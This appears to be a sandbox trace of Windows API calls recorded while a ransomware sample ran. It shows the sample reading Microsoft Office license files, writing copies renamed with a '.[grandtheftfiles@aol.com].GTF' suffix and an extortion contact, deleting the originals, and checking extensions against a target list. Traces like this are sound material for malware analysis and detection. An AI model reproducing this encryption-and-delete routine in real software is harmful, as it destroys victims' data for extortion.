	[0175.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0175.448] GetLastError () returned 0x0
	[0175.448] ReadFile (in: hFile=0x58c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x7e6a, lpOverlapped=0x0) returned 1
	[0175.454] WriteFile (in: hFile=0x540, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x7e70, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x7e70, lpOverlapped=0x0) returned 1
	[0175.456] ReadFile (in: hFile=0x58c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.456] WriteFile (in: hFile=0x540, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x112, lpOverlapped=0x0) returned 1
	[0175.456] SetEndOfFile (hFile=0x540) returned 1
	[0175.456] CloseHandle (hObject=0x540) returned 1
	[0175.456] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.456] SetEndOfFile (hFile=0x58c) returned 1
	[0175.459] CloseHandle (hObject=0x58c) returned 1
	[0175.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 1
	[0175.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0175.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0175.646] lstrlenW (lpString=".doc") returned 4
	[0175.646] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.646] lstrlenW (lpString=".docx") returned 5
	[0175.646] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.647] lstrlenW (lpString=".pdf") returned 4
	[0175.647] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.647] lstrlenW (lpString=".xls") returned 4
	[0175.647] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.647] lstrlenW (lpString=".xlsx") returned 5
	[0175.647] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.647] lstrlenW (lpString=".ppt") returned 4
	[0175.647] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0175.647] lstrlenW (lpString=".zip") returned 4
	[0175.647] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.647] lstrlenW (lpString=".rar") returned 4
	[0175.647] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.647] lstrlenW (lpString=".bz2") returned 4
	[0175.647] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.647] lstrlenW (lpString=".7z") returned 3
	[0175.647] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0175.647] lstrlenW (lpString=".dbf") returned 4
	[0175.647] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0175.647] lstrlenW (lpString=".1cd") returned 4
	[0175.647] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0175.647] lstrlenW (lpString=".jpg") returned 4
	[0175.647] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0175.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0175.647] lstrlenW (lpString=".doc") returned 4
	[0175.647] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.647] lstrlenW (lpString=".docx") returned 5
	[0175.647] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.648] lstrlenW (lpString=".pdf") returned 4
	[0175.648] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.648] lstrlenW (lpString=".xls") returned 4
	[0175.648] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.648] lstrlenW (lpString=".xlsx") returned 5
	[0175.648] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.648] lstrlenW (lpString=".ppt") returned 4
	[0175.648] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0175.648] lstrlenW (lpString=".zip") returned 4
	[0175.648] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.648] lstrlenW (lpString=".rar") returned 4
	[0175.648] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.648] lstrlenW (lpString=".bz2") returned 4
	[0175.648] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.648] lstrlenW (lpString=".7z") returned 3
	[0175.648] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0175.648] lstrlenW (lpString=".dbf") returned 4
	[0175.648] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0175.648] lstrlenW (lpString=".1cd") returned 4
	[0175.648] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0175.648] lstrlenW (lpString=".jpg") returned 4
	[0175.648] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.648] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.648] lstrlenW (lpString="MondoR_SubTest2-pl.xrm-ms") returned 25
	[0175.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0175.649] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11151) returned 1
	[0175.649] CloseHandle (hObject=0x58c) returned 1
	[0175.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 0x220
	[0175.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0175.650] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.650] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0175.905] GetLastError () returned 0x0
	[0175.905] ReadFile (in: hFile=0x58c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2b8f, lpOverlapped=0x0) returned 1
	[0175.908] WriteFile (in: hFile=0x530, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0175.912] ReadFile (in: hFile=0x58c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.912] WriteFile (in: hFile=0x530, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x106, lpOverlapped=0x0) returned 1
	[0175.912] SetEndOfFile (hFile=0x530) returned 1
	[0175.912] CloseHandle (hObject=0x530) returned 1
	[0175.913] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.913] SetEndOfFile (hFile=0x58c) returned 1
	[0175.917] CloseHandle (hObject=0x58c) returned 1
	[0175.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 1
	[0176.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0176.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0176.059] lstrlenW (lpString=".doc") returned 4
	[0176.059] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.059] lstrlenW (lpString=".docx") returned 5
	[0176.059] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.059] lstrlenW (lpString=".pdf") returned 4
	[0176.059] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.059] lstrlenW (lpString=".xls") returned 4
	[0176.059] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.059] lstrlenW (lpString=".xlsx") returned 5
	[0176.059] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.059] lstrlenW (lpString=".ppt") returned 4
	[0176.059] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0176.060] lstrlenW (lpString=".zip") returned 4
	[0176.060] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.060] lstrlenW (lpString=".rar") returned 4
	[0176.060] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.060] lstrlenW (lpString=".bz2") returned 4
	[0176.060] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.060] lstrlenW (lpString=".7z") returned 3
	[0176.060] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0176.060] lstrlenW (lpString=".dbf") returned 4
	[0176.060] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0176.060] lstrlenW (lpString=".1cd") returned 4
	[0176.060] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0176.060] lstrlenW (lpString=".jpg") returned 4
	[0176.060] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0176.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0176.060] lstrlenW (lpString=".doc") returned 4
	[0176.060] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.060] lstrlenW (lpString=".docx") returned 5
	[0176.060] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.060] lstrlenW (lpString=".pdf") returned 4
	[0176.060] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.060] lstrlenW (lpString=".xls") returned 4
	[0176.060] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.060] lstrlenW (lpString=".xlsx") returned 5
	[0176.060] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.060] lstrlenW (lpString=".ppt") returned 4
	[0176.061] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0176.061] lstrlenW (lpString=".zip") returned 4
	[0176.061] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.061] lstrlenW (lpString=".rar") returned 4
	[0176.061] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.061] lstrlenW (lpString=".bz2") returned 4
	[0176.061] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.061] lstrlenW (lpString=".7z") returned 3
	[0176.061] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0176.061] lstrlenW (lpString=".dbf") returned 4
	[0176.061] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0176.061] lstrlenW (lpString=".1cd") returned 4
	[0176.061] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75
	[0176.061] lstrlenW (lpString=".jpg") returned 4
	[0176.061] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.061] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0176.061] lstrlenW (lpString="MondoR_Trial-ppd.xrm-ms") returned 23
	[0176.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0176.062] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=26585) returned 1
	[0176.062] CloseHandle (hObject=0x45c) returned 1
	[0176.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms")) returned 0x220
	[0176.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0176.064] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.064] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0176.065] GetLastError () returned 0x0
	[0176.065] ReadFile (in: hFile=0x45c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x67d9, lpOverlapped=0x0) returned 1
	[0176.174] WriteFile (in: hFile=0x3dc, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x67e0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x67e0, lpOverlapped=0x0) returned 1
	[0176.175] ReadFile (in: hFile=0x45c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.175] WriteFile (in: hFile=0x3dc, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x102, lpOverlapped=0x0) returned 1
	[0176.175] SetEndOfFile (hFile=0x3dc) returned 1
	[0176.185] CloseHandle (hObject=0x3dc) returned 1
	[0176.188] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.188] SetEndOfFile (hFile=0x45c) returned 1
	[0176.229] CloseHandle (hObject=0x45c) returned 1
	[0176.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms")) returned 1
	[0176.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0176.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0176.597] lstrlenW (lpString=".doc") returned 4
	[0176.597] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.597] lstrlenW (lpString=".docx") returned 5
	[0176.597] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.597] lstrlenW (lpString=".pdf") returned 4
	[0176.597] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.597] lstrlenW (lpString=".xls") returned 4
	[0176.597] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.597] lstrlenW (lpString=".xlsx") returned 5
	[0176.597] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.597] lstrlenW (lpString=".ppt") returned 4
	[0176.597] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0176.597] lstrlenW (lpString=".zip") returned 4
	[0176.597] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.597] lstrlenW (lpString=".rar") returned 4
	[0176.597] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.597] lstrlenW (lpString=".bz2") returned 4
	[0176.597] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.597] lstrlenW (lpString=".7z") returned 3
	[0176.598] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0176.598] lstrlenW (lpString=".dbf") returned 4
	[0176.598] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0176.598] lstrlenW (lpString=".1cd") returned 4
	[0176.598] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0176.598] lstrlenW (lpString=".jpg") returned 4
	[0176.598] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0176.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0176.598] lstrlenW (lpString=".doc") returned 4
	[0176.598] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.598] lstrlenW (lpString=".docx") returned 5
	[0176.598] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.598] lstrlenW (lpString=".pdf") returned 4
	[0176.598] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.598] lstrlenW (lpString=".xls") returned 4
	[0176.598] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.598] lstrlenW (lpString=".xlsx") returned 5
	[0176.598] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.598] lstrlenW (lpString=".ppt") returned 4
	[0176.598] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0176.598] lstrlenW (lpString=".zip") returned 4
	[0176.598] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.598] lstrlenW (lpString=".rar") returned 4
	[0176.598] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.598] lstrlenW (lpString=".bz2") returned 4
	[0176.598] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.598] lstrlenW (lpString=".7z") returned 3
	[0176.599] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0176.599] lstrlenW (lpString=".dbf") returned 4
	[0176.599] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0176.599] lstrlenW (lpString=".1cd") returned 4
	[0176.599] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0176.599] lstrlenW (lpString=".jpg") returned 4
	[0176.599] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.599] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0176.599] lstrlenW (lpString="MondoVL_MAK-pl.xrm-ms") returned 21
	[0176.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0176.853] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=10619) returned 1
	[0176.853] CloseHandle (hObject=0x374) returned 1
	[0176.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms")) returned 0x220
	[0177.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
